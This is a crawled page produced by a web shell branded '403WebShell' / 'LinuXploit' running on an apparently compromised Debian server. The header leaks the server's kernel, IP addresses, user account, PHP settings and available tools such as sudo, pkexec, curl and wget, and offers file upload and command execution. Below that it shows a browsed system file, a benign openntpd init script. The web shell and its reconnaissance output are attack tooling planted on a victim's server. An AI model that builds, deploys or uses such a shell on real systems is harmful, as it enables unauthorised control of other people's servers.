Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.97.2  /  Your IP : 104.23.197.230
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /etc/rc6.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/rc6.d/K01openntpd
#!/bin/sh

### BEGIN INIT INFO
# Provides:		openntpd
# Required-Start:	$remote_fs $network $syslog
# Required-Stop:	$remote_fs $network $syslog
# Default-Start:	2 3 4 5
# Default-Stop:		0 1 6
# Short-Description:	Start openntpd at boot time
# Description:		NTP, the Network Time Protocol, is used to keep the
#			computer clocks synchronized.
### END INIT INFO

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/sbin/ntpd
NAME=ntpd
USER=ntpd
DESC=openntpd

test -e /usr/sbin/openntpd || exit 0

test -f /lib/lsb/init-functions || exit 1
. /lib/lsb/init-functions


# Include openntpd defaults if available
if [ -f /etc/default/openntpd ]; then
	. /etc/default/openntpd
fi

set -e

case "$1" in
	start)
		if [ ! -d "/var/run/openntpd" ]; then 
			mkdir -p /var/run/openntpd
		fi

		echo -n "Starting $DESC: "
		if status_of_proc "$DAEMON" $DESC > /dev/null; then
			log_begin_msg "Already running."
		else
			start-stop-daemon --start --quiet --exec $DAEMON -- $DAEMON_OPTS
			echo "$NAME."
		fi
		;;

	stop)
		echo -n "Stopping $DESC: "
		start-stop-daemon --stop --oknodo --quiet --retry=TERM/30/KILL/5 --user root --exec $DAEMON
		echo "$NAME."
		;;

	restart|force-reload)
		echo -n "Restarting $DESC: "
		start-stop-daemon --stop --oknodo --quiet --retry=TERM/30/KILL/5 --user root --exec $DAEMON
		start-stop-daemon --start --quiet --exec $DAEMON -- $DAEMON_OPTS
		echo "$NAME."
		;;

	status)
		start-stop-daemon --test --stop --quiet --user root --exec $DAEMON && \
			log_success_msg "OpenNTPd daemon is running." || \
			( log_failure_msg "OpenNTPd daemon is NOT running" && exit 1 )
		;;		

	check)
		$DAEMON $DAEMON_OPTS "-n"
		;;

	*)
		N=/etc/init.d/$NAME
		echo "Usage: $N {start|stop|restart|force-reload|status|check}" >&2
		exit 1
		;;
esac

exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit